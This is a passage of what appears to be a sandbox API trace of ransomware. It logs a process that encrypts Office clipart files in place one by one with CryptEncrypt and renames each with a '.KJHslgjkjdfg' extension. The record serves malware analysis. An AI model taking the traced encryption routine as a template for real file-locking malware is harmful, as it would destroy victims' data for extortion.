lpNewFilePointer=0x0) returned 1 [0205.617] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x23f4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x23f4, lpOverlapped=0x0) returned 1 [0205.618] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2400, dwBufLen=0x2400 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2400) returned 1 [0205.618] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.618] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2400, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2400, lpOverlapped=0x0) returned 1 [0205.618] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.618] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x24d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.618] SetEndOfFile (hFile=0x130) returned 1 [0205.621] GetProcessHeap () returned 0x2ef0000 [0205.621] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0205.621] GetProcessHeap () returned 0x2ef0000 [0205.621] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0205.621] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285808.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285808.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285808.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285808.wmf.kjhslgjkjdfg")) returned 1 [0205.622] CloseHandle (hObject=0x130) returned 1 [0205.622] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56667970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2210, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0285820.WMF", cAlternateFileName="")) returned 1 [0205.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285820.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285820.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.624] GetProcessHeap () returned 0x2ef0000 [0205.624] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0205.624] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0205.624] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0205.624] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.624] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.624] GetProcessHeap () returned 0x2ef0000 [0205.624] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0205.624] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0205.624] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.624] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0205.627] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.627] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0205.627] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0205.627] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0205.627] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.627] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.627] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.627] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.627] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2210, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2210, lpOverlapped=0x0) returned 1 [0205.629] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2210, dwBufLen=0x2210 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2210) returned 1 [0205.629] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.629] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2210, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2210, lpOverlapped=0x0) returned 1 [0205.629] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.629] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x22e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.630] SetEndOfFile (hFile=0x130) returned 1 [0205.632] GetProcessHeap () returned 0x2ef0000 [0205.632] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0205.633] GetProcessHeap () returned 0x2ef0000 [0205.633] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0205.633] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285820.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285820.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285820.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285820.wmf.kjhslgjkjdfg")) returned 1 [0205.634] CloseHandle (hObject=0x130) returned 1 [0205.635] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56667970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x21a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0285822.WMF", cAlternateFileName="")) returned 1 [0205.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285822.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285822.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.636] GetProcessHeap () returned 0x2ef0000 [0205.636] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0205.636] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0205.636] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0205.636] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.636] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.636] GetProcessHeap () returned 0x2ef0000 [0205.636] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0205.636] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0205.636] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.637] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0205.639] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.639] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0205.639] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0205.639] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0205.639] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.639] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.639] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.639] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.639] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x21a0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x21a0, lpOverlapped=0x0) returned 1 [0205.640] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x21a0, dwBufLen=0x21a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x21a0) returned 1 [0205.640] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.640] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x21a0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x21a0, lpOverlapped=0x0) returned 1 [0205.640] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.640] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2274, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.640] SetEndOfFile (hFile=0x130) returned 1 [0205.643] GetProcessHeap () returned 0x2ef0000 [0205.643] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0205.643] GetProcessHeap () returned 0x2ef0000 [0205.643] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0205.643] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285822.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285822.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285822.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285822.wmf.kjhslgjkjdfg")) returned 1 [0205.644] CloseHandle (hObject=0x130) returned 1 [0205.644] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7898, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0287018.WMF", cAlternateFileName="")) returned 1 [0205.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287018.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287018.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.645] GetProcessHeap () returned 0x2ef0000 [0205.645] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0205.645] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0205.645] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0205.645] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.647] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.647] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.647] GetProcessHeap () returned 0x2ef0000 [0205.647] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0205.648] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0205.648] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.648] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0205.648] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.648] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0205.648] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0205.648] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0205.648] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.648] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.648] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.648] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.648] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7898, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7898, lpOverlapped=0x0) returned 1 [0205.649] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x78a0, dwBufLen=0x78a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x78a0) returned 1 [0205.650] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.650] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x78a0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x78a0, lpOverlapped=0x0) returned 1 [0205.650] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.650] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7974, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.650] SetEndOfFile (hFile=0x130) returned 1 [0205.652] GetProcessHeap () returned 0x2ef0000 [0205.652] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0205.652] GetProcessHeap () returned 0x2ef0000 [0205.653] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0205.653] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287018.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287018.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287018.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287018.wmf.kjhslgjkjdfg")) returned 1 [0205.654] CloseHandle (hObject=0x130) returned 1 [0205.654] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x931a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0287019.WMF", cAlternateFileName="")) returned 1 [0205.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287019.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287019.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.655] GetProcessHeap () returned 0x2ef0000 [0205.655] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0205.655] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0205.655] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0205.655] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0205.657] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.657] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.658] GetProcessHeap () returned 0x2ef0000 [0205.658] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0205.658] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0205.658] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.658] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0205.658] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.658] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0205.658] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0205.658] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0205.658] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.658] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.658] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.658] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.658] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x931a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x931a, lpOverlapped=0x0) returned 1 [0205.660] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x9320, dwBufLen=0x9320 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x9320) returned 1 [0205.660] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.660] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x9320, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x9320, lpOverlapped=0x0) returned 1 [0205.660] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.660] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x93f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.660] SetEndOfFile (hFile=0x130) returned 1 [0205.663] GetProcessHeap () returned 0x2ef0000 [0205.663] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0205.663] GetProcessHeap () returned 0x2ef0000 [0205.664] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0205.664] MoveFileW 